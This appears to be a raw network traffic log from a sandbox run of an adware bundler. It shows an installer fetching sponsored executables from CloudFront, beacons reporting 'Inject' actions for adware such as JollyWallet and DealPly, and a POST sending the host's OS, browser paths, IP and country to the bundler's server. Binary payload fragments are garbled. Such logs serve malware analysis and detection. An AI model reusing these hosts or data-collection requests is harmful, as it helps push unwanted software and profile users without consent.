User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:47 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:58:47 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=JollyWallet&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:25 GMT..Content-Length: 0..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.4492349438105252 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:58:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /ajax/libs/jquery/1.8.2/jquery.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Fri, 21 Sep 2012 18:24:20 GMT

Date: Fri, 23 Jan 2015 04:05:28 GMT

Expires: Sat, 23 Jan 2016 04:05:28 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33430

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 1554857

Alternate-Protocol: 80:quic,p=0.02
.............v#G.........".N.LI}.....r).J[Uf....:......07..,...c....W.
...=<.P.}.\-D,.....n..;G.................w.t9?....zr: .|.........n.
n....U.......qp..^.%..a<....u..[/.V.<N.~...f......"...a:.:g.@%{[
.wx......Y.E..q.[,....UN...X.yY..O.n.[..Y... ..<:...v...}.~.or?.gQ.
.......H.....}.|K.-.G....7....o......z..]..:g!.......r...........y.,.t
....6.l.,..z.x...{...t.f.4..\........a.s..:....e.T...l..\..Q.8.yb.t..x
...^.y1_m?..\......(...b[,.r.4.`<K.......n......~po......[z.....n..
1.|....k.s.*...\.,e..8B.....,.cw.;Xs.R...5>f8.....#.\.40.........w.
/3p..$.4...L..%.5.3.$./.P..$...\.Z.......j.J*..;..|.#...mN.A...A?..G..
.:L..x.^..y9..3..3.7.&Ofz?{;/P)m.t.....2.....\......T.}1..0..Nz.|1.N..
kz.Z....B.............7......9....F..x....3j.#..|......6.w..........W.
i.y.{.,@[email protected].^..=..L...Y...&T."..j._.{b.......Yt..hJ
.ROZ?...Y.....^.e.L.Pf.....1.../......f... yT....2......)..Y..-....7..
..{.|=...j.0Ci$.`....^.VY26.....HhHIoIU..}....z.:P...n.Z....v>...l.
..G..B.....R..T.}.p..6r..A.=)...-!..........gY>..f.g.<.....R}.. 
..w...3...7.W..ih..zx...!.H.\.n..~.vi...--..P..u.....[.r.........[..^.
B.c!..|..\6.`."x].....Y...o.N..-.C."......=...V.t..|.~:........#.{L..V
........;..J\ g..g"...........a...]ZB.N.y..,h.&... .0?9....a>....6.
B.$..b@.{1.}...... ......P..=.Y...b..cA:....98..,......".M......I.L...
..p<B.;io..8.K.#.7....[.2.9.........z...6.O.....Y.p./?..>..JS.. 
......&..X./...Sv.@u..'M........Z..o../.?L...n.y.|.o!.~7D.P....g...8s.
f.....7.?.g*...N.... ......_}.M.P.i,u.$.0....d...5u.#%....W!....l;<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:55:02 GMT

Accept-Ranges: bytes

ETag: "1bd473758e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 09 Feb 2015 15:46:59 GMT

Content-Range: bytes 250000-499999/1206160

X-Cache: RefreshHit from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fQFIFTqFFg3_e3-ySACnkXPiNFigrQTldFLOd_O8Sa-qw74A7HDxcg==
[email protected].].P...H.........E...M..W......M..@[email protected]..
....e...].....G.....U..SW.}.....u....M..N....u.W.N....}..Yt..u..?...Y.
.V.q..I(j.j2.V..)...YY...A(...M..@(....8.H...^.A._[]...U..Q.M..V.u.W..
..u.3..:....u.V.....Y..j.j..p .p..E.PQ........A .....Q .M..4....A._^..
]...U..Q.M..SW.}.....u....M..Z....u.W.....Y..Vj.j..p$.p..E.PQ.9.....ku
...U..A$...M..p$.....>.D.`.M....D.h.M..V..N...^.A._[..]...U.....S.]
.V.u.W...}..S...M....<P.E.;.l.M.u<.......f..<t(f..>t......
.f..u..C......._^[..]....u.....qK....u.VW.:1..Y..Y..t... ....A..E.f...
..f..u. M.......C...u..hvJ..........QV.u.PQ.M......2...V...~,.t..F..F.
.F....P.v,..7..YY.F,.~..t..F....P.v...7..YY.F..~(.t..F....P.v(..7..YY.
F(.~ .t..F....P.v .y7..YY.F .~$.t.kF..P.v$.a7..YY.F$^.U..QQV.u..M..N..
.u.2.......U.SWj._j [.E......E........f;.t.f;.t.f;E.t.f;E.u.;.t...... 
...u#.f...?......Qf;.t.f;.t.f;E.t.f;E.u.Ju.Bt.V.......Y.........U.3..F
..E....J.........9B........z..z....J,.M..t.......<........D..$.<
........B$...k...D..;.x.M.......V.u....E....E..L.......3..M..@ ......N
.f.....f;.u... ....O.f.....f;E.u. ..F.......PR..6...U.YY...U..I ....U.
.M....@ .....u....*..}....P..qSP..<..S.S........QSQ.M..=...2._[^..]
[email protected]..]..]..]..]..u..].9^$t..^$.E........]..E...P.U.....
.Y...U.......E. ...5...H.......B.Ht=H.........t1HH......QV............
....u...V.p............f...Q.....V..E...............E...P.U.......}..Y
.E.....U....U.Q.u..z...PQ.E...P. ....E...M.P.V....]..M.......wV.M.....
.....N...9^.......9^ tK...V.................V Q.N.S.....PQ.E...P..<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive

................E.I.....P.I.....[.I.....f.I.".........L...............
................I.......I.......I.......I.".......8.L.................
..............I.".......d.L...............................I.".........
L............................. .I..... .I.....6.I.....>.I."........
.L.............................a.I.....i.I.".........L................
...............I.".......4.L...............................I.".......`
.L...............................I.".........L.......L................
.......I.......................I.......I..............................
.....L...................L...............C.............j.C.".......0.L
.............................N.I.".......\.L..........................
.....I.......I.......I.......I.......I.".........L.......L............
...........I.......I...................................L..............
.C.".........L.............................$.I.....,.I.".......D.L....
.........................O.I.....W.I....._.I.....g.I.....o.I.....y.I..
.....I.....".........L...................................I.......I....
...I.......I.......I.......I.......I.......I.......I.......I.......I..
.....I.......I.......I.....&.I.".......D.L............................
.S.I.....].I....."... .....L.....|.L..................................
.L.......I.......I.......I.......I.......I.......I.......I.......I....
...I.......I.......I.......I.......I.......I...............I.......I..
.....I.......I...............I.......I.....&.I.......I.....6.I.....>
;.I.....F.I.....N.I.....V.I.....^.I.....f.I.....n.I.............O.

<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=PriceGong_DealPly&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:25 GMT..Content-Length: 0..

GET /network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.>..<.w..:qH.Z..;.a...m....Nz$E...$$.2Iy..
...Z. .....Ba.l.3..L[.P.*.r.......%.O.ic.....?.qo..}.m4.M.e.HF.|....r9
..[.O..<.X6.^.,......}.w..og..f..qu......R[.t....t~*.}......"....E.
>...7M..>__?.].O'.~...."..7...p.u...... ...-...(M......l...g...c
|..M.e.?].....{9.._.....r.'...8Z./.`....._.C}k..<....|....D.;..`.!.
.....0....T..i<.:}....7..S:o.f....|.....l.....yv.t....OA.....1Y.,..
x..r<..~..r..f.......I......"s.....uO..c..G?......V........"E..l2I.
}<tC.O.:..0...}......4.....-p1.....i/..^.....>.g.....l>..Yr:.
.."....&......1..%>o.![&#|.p......w*..t.^.s...'.p.N.N....#...1.....
..i6M..},.>..<.........{.....e......c....]..WS<]f..y|.?..>
L..........'~8..V.N......2{..n.......p.B0.`.^^...&z..7.....'..c...yop.
0.^...I.8K.........du..XD..\(......E|:......sd. ...........c.~..If.A6.
[email protected].}H.X...d...}.6...8.....i.M.....9........ 9...ka.<..
........[.i<VR.....[.JN..|pz.......Ioo....;....w...........w......8
H.;X..W<............. {xnW....A....V[.H...]6Y.,...4....M....C.*....
....e..:w.............wQ._..c........_^|..w..[w..cwk.v.X..~...k.. k...
}....~o.lq-.}..J........]_.N...P..{.......;_...|.z......{..{.o.....~|.
~...)./../..-....&`....7...b.....L.d.Ey..,..v....E*7....)..9.y..w~....
......!....g...'a`~..ez...4.W.R.](e...J.bp....;7....t6.\N.em.a/LZW.ty9
.^e.#:.Y..:....r....(.2....."x.u...(....-..V...Q......d.4..O.%[.t:\...
..u...}s#....dcg.....$.......'<..}....|rmo.:lm.|....7./G.b..c..0n].
..|..f.B..:.v(.7T(.....[:7.6[u-.7....p}[.&(.~..".8...O..".....<<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2219

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=796c1daebeb52f4eabf469c6ed8ad1c0&uid=796c1daebeb52f4eabf469c6ed8ad1c0&affid=network_adworkmedia_1&sid=flvplayerkuiw&cli_id=&softwareName=FLV Player&installerVersion=2.1&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=c9dcb2f9160b1191871e5e693d0769d6&tokyo_csrf_timestamp=1423540681&unique_id=107e4dff93c730f0dfd7b0fba2aba7c7&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1e
HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:02 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f7c.............\as.6.. 8......l.......4s.5....T..DB.......%..~o..")J.
.;.%.L.............(..X.\-.....8.I..N',Nu...S..^&.k..<.{....|...8..
R.`.8IX..P$,....L..7Z...W"H.L|.....l)......i.r.....d.....|l..a(2...s.f
....|....4.Y...%..xk..e.]......g...sT..P.......pq.{=.`9.2..&:G..R./..d
.\.......%b.c.....qJR.....5..Z..L.Q.rE.eV!.ra.M..Z......H.........B...
.*.........K.X..T.9..i...J7....X_...w......V-b...R.)......0...|....L.T
..II..q.....C.....H......].].?....*.T...O........9....4O.{f.\..H.l....
.3.h.....TBk2ct....v.$C...s...6....4.d9yS|...'...4Np2.D...c.j..T.ta...
b.r......=.9..{n..9b.z..d#I9._.{#.PBUr.....aJ..64..xn6.&..J....d.....i
..1.Sj....LC.'.V...2..A.....(..._.w.........8.aN...$.{.wqV....R>...
.=.N...M..7v...b=.P..|.x.3...j...V.._8..r.f.U.t.1z....|..1N.h}.A4y1...
..<.P..^L&.....e....5^c...|.P...y.....{[email protected].`.z.........
9......[...0.=.V`.Dc..w.^..r.M....&........8...y..N.i8~U.(_f4..p.p."..
Z...FDA.z.c.h.7..D.!0.!.P.5Y.s$.|...<L..a....5.:..../..JX(..x.....-
......9......y5k...<)D.K..-r).B......!.]......WO.....w........E....
.n96..g.%.e......?....#.....K...|.....m-..t..."...h.QM.v..'X}..~..-Y.\
s./.PIRj.......q....oV...k.N....F^.....h.....8....T..UN0-....(....D*.~
...~.?...Tg..Or^.4.....^-..F..j.....|...j.$G..0J{...8.....~.5.I.......
.4c}X..1=.....X.....f.......y.|...&)..$.q..,@....U.'.....cG.o.........
.RM?.A..).c..G....-.?[.h.q......n.V..byA./..u........Po.O:.r..Tp..%...
.CepF68.....!......`.p.#r...C2.. 4.G.;.....~.c].;E&...9....I..[.5P..L.
."{.k......./.8.......E]Zl.d#...k..w.:.>s.dV....T,X.G..#.[v..&l<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.5378999819481368 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:09 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:58:09 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=241224-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80408

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 241224-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cHUfHrCkqdpkLBdujWoR8oF3wAkRXZh6SVPNBGgALGibcBzWrzO0NA==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&<<< skipped >>>

GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 2015 03:59:47
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..
0..

GET /jollywallet/resources/js/2/affiliate_client.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d2cnb4m0nke2lh.cloudfront.net

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 324289

Connection: keep-alive

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Date: Wed, 04 Feb 2015 08:45:38 GMT

ETag: "54d1d9be-4f2c1"

Expires: Fri, 06 Mar 2015 08:45:38 GMT

Last-Modified: Wed, 04 Feb 2015 08:35:10 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

Age: 501284

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PCagc1PLEGzkEvRiUD2Vh6mAOjCCzk8gxs5TlNdlmWLHn6xRTIRrpw==

var jw_db = {};.jw_db.permanentData = {gui:[],actions:[]};.jw_db.perma
nentCache = ["2351f600bf62102c56b3941c39225683","16524241cd11b1b1c6b3a
b30874047d6","d04992ca4d0bbfe57c6e97c4800f9238","ff6e3f4612ef317625de5
eb91140233f","1d60fc858146df68b9f8d259697f499c","886b52137277a7e848070
77888faf95b","2db77d0bbaad6f48449aa2ee75b07b2f","233e5595b16e975bb4ebd
fd25620240a","a03bfb2d9a68853cad303a64fc54c0f0","91405a3e3c688a8e6f846
8949b18f94f","063c233da86fe6f0bb4c9d332f494099","9bd5796c279f448b0b2b3
2b6271d67b2","2fcf8b55874afc412cf42286c4942e81","d0dcf869247f0494e7f38
adab27e2b24","3643877a4cd0aa0891ee77c857736edc","50810685ef885b0b69db8
98cfc21cb5c","5accf3f02fa66d643352b17f8ab4b6ab","a617b2d5a453df6f36bb4
5f8ee71f04c","fcf942edca87bfe44446fe34d744c82c","9f126465c5cbe1db5daaf
20bf9c48d70","854735ed3e7a3479f095f872aa1083ed","e322d423f075b0ab2daad
27011d24909","f35a8740b65be2b1aa45f588f2809377","e0855eba3d87dbf392e3d
39c03c0083e","57366265af8a5fe6f49b9c0045c0ef7a","55058ea77d06c1bbc1bb8
5ead84ee75e","216393b792ea3b89c1666daf538b401c","8875c0ad18932cd6f99c0
14a178095bc","ecf7d41381198413ae06f5a58e85b57f","221984b82e213da7ccccf
719d11bed62","e6227cf2699b80b858c2b6b0b8040b0e","16c6e22ef379cd08414eb
2b44fc43a2e","078e572891c7a1b61e5311f60c3e173b","a37614a97fdc92d9ce573
88e6ebd5d21","1888eb6d6cf6c4750bb928230f12b8c7","965979c853ccb6b26649e
572e23f2bac","f1cdbe22db7f76e446cf35ee1aa4249e","d2c1d0ef9db9fb5fdcb2d
18421eb7a29","37b87b7423bd1a8d4b4d5ba1ef6d50f9","d0b680d5ab632b6cf4578
980231755fa","2b06e417eb37aeea8c3fe76f86fb2013","7e45a0b1b3a4a4795

<<< skipped >>>

GET /installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423540799&procruntime=2&rnd=1423540801 HTTP/1.1

Host: stats.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 9slG64 DQ2xOdP3kt4xcmYMSSf3OtJ2pKBHDa7VGjVfzBcXi7YnjYTW2OtjMQIDqeIJMgzHI1bk=

x-amz-request-id: EFE1F30055053389

Date: Tue, 10 Feb 2015 04:00:01 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 9slG64
 DQ2xOdP3kt4xcmYMSSf3OtJ2pKBHDa7VGjVfzBcXi7YnjYTW2OtjMQIDqeIJMgzHI1bk=
..x-amz-request-id: EFE1F30055053389..Date: Tue, 10 Feb 2015 04:00:01 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423540799&procruntime=10&rnd=1423540809 HTTP/1.1

Host: stats.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: cdVo8VMm7ckgSbWR7ihRm3hQcv3JssdN4SoWFTfCB3xrsG34asBYnXbahzhtgJTKCCAHomMfeo4=

